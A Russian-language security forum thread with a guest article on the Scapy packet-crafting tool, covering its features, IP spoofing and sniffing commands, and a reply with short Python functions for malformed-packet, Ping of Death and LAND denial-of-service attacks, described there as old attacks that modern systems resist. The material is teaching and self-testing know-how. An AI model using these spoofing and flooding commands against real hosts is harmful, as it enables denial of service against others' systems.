• Бесплатный ВЕБИНАР по OSINT с Екатериной Тьюринг: ➡️9 февраля в 19:00 (мск) пройдет урок

    Как безопасно искать информацию в открытых источниках

    🔥 Записаться 🔥

Гостевая статья Scapy - Обработка и отслеживание пакетов

  • Автор темы Автор темы Vlad
  • Дата начала Дата начала
scapy.png



Что такое scapy?
Scapy - это скрипт Python, который позволяет пользователю отправлять, анализировать, анализировать и подделывать сетевые пакеты. Эта возможность позволяет создавать инструменты, которые могут исследовать, сканировать или атаковать сети. Другими словами, Scapy - это мощная интерактивная программа для работы с пакетами. Он может подделывать или декодировать пакеты с большим количеством протоколов, отправлять их по проводам, захватывать их, сопоставлять запросы и ответы и многое другое. Scapy легко справляется с большинством классических задач, таких как сканирование, отслеживание, исследование, модульные тесты, атаки или обнаружение сети. Он может заменить hping, arpspoof, arp-sk, arping, p0f и даже некоторые части Nmap, tcpdump и tshark).

Особенности Scapy
Сделай свой пакет
Scapy позволяет пользователю описать пакет или набор пакетов как слои, которые накладываются друг на друга. Поля каждого слоя имеют полезные значения по умолчанию, которые могут быть перегружены. Scapy не обязывает пользователя использовать заранее определенные методы или шаблоны. Это устраняет необходимость написания нового инструмента каждый раз, когда требуется другой сценарий. В Си для описания пакета может потребоваться в среднем 60 строк. В Scapy пакеты для отправки могут быть описаны только в одной строке с другой строкой для вывода результата. 90% сетевых инструментов зондирования могут быть переписаны в 2 строки Scapy.

Интерпретация многих с помощью одного зонда
При исследовании сети отправляется много стимулов, в то время как только несколько из них отвечают. Если выбраны правильные стимулы, желаемая информация может быть получена по ответам или отсутствию ответов. В отличие от многих инструментов, Scapy предоставляет всю информацию, то есть все отправленные стимулы и все полученные ответы. Изучение этих данных даст пользователю необходимую информацию.

Scapy - декодировать
Общая проблема с инструментами зондирования сети заключается в том, что они пытаются интерпретировать полученные ответы, а не только декодировать и давать факты. Сообщения вроде Received a TCP Reset на порту 80 не подвержены ошибкам интерпретации. Сообщение о том, что порт 80 закрыт, является интерпретацией, которая может быть правильной большую часть времени, но неправильной в некоторых специфических контекстах, которые автор инструмента не представлял. Например, некоторые сканеры, как правило, сообщают об отфильтрованном TCP-порте, когда они получают ICMP-получатель недоступного пакета. Это может быть правильно, но в некоторых случаях это означает, что пакет не был отфильтрован брандмауэром, а скорее не было узла для пересылки пакета. Результаты интерпретации могут помочь пользователям, которые не знают, что такое сканирование портов, но оно также может принести больше вреда, чем пользы, так как оно впрыскивает смещение в результаты. Что может иметь тенденцию происходить, так это то, что для того, чтобы они могли делать интерпретацию сами, знающие пользователи будут пытаться перепроектировать интерпретацию инструмента, чтобы вывести факты, которые вызвали эту интерпретацию. К сожалению, в этой операции теряется много информации.


Для практической демонстрации вы должны обратиться к приведенному выше видео. В приведенном выше видео scapy работает на машине kali с Wireshark, чтобы увидеть, что на самом деле происходит в сети,

Чтобы запустить scapy, просто наберите scapy в терминале , вы войдете в интерфейс командной строки scapy, в видео выше были продемонстрированы некоторые функции scapy:

Подмена ip и отправка пакетов
Команда:
Код:
send(IP(src=”false ip address”, dst = “target addresss”) /ICMP()/”any message”)
Вы можете отфильтровать целевой адрес в Wireshark, чтобы более четко представить, что происходит.

Обработка сетевого трафика
Команда:
Код:
sniff(iface= “eth0”, prn= lambda x : x. summary)

DOS атаки
Команда:
Код:
send(IP(src=”false source address”,dst = “target address”)/TCP(sport =source port , 
dport= target port), count = no of packets)

 
  • Нравится
Реакции: TR1X и sgmnt
Приветствую. Что это за DoS-атака? на что влияет? норм функционирует?
 
Приветствую. Что это за DoS-атака? на что влияет? норм функционирует?

Aтаки Scapy



В этом примере использования Scapy давайте рассмотрим как мы можем построить свой пакет для проведения некоторых видов атак, таких как Ping of Death (Ping смерти) и LAND Attack (Отказ в обслуживании LAN). Иногда вы вначале вы первоначально платите за некое коммерческое программное обеспечение для тестирования проникновения. С помощью Scapy вы сможете проводить собственную проверку, сопровождаемую полным контролем помимо добавления дополнительных тестов в последующем.


Самая первая атака в основном отправляет определённому хосту получателя некий поддельный заголовок IP, например, с длиной 2 и версией IP 3:



Python:
def malformed_packet_attack(host):

    send(IP(dst=host, ihl=2, version=3)/ICMP())




Атака Ping of Death заключается в постоянной отправке пакета ICMP с полезной нагрузкой, превышающей 65 535 байт:


Python:
def ping_of_death_attack(host):

    # https://en.wikipedia.org/wiki/Ping_of_death

    send(fragment(IP(dst=host)/ICMP()/("X"*60000)))


Атака LAND Attack желает перенаправлять все отклики клиента обратно самому этому клиенту и исчерпывает имеющиеся у данного хоста ресурсы:


Python:
def land_attack(host):

    # https://en.wikipedia.org/wiki/Denial-of-service_attack

    send(IP(src=host, dst=host)/TCP(sport=135,dport=135))


Это достаточно старые уязвимости или классические атаки, к которым больше не восприимчивы все современные операционные системы. Для нашего хоста Ubuntu 14.04 никакая из предыдущих атак не приводит к его падению. Однако, при обнаружении дополнительных проблем безопасности, Scapy является великолепным инструментом для того, чтобы начать проверку вашей собственной сетевой среды без необходимости ожидания вмешательства производителя с предоставлением вам неких средств проверки. Это в особенности верно для атак нулевого дня (появления без предварительного уведомления), которые всё чаще и чаще встречаются во всемирном Интернете.
 
  • Нравится
Реакции: Voyager101
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!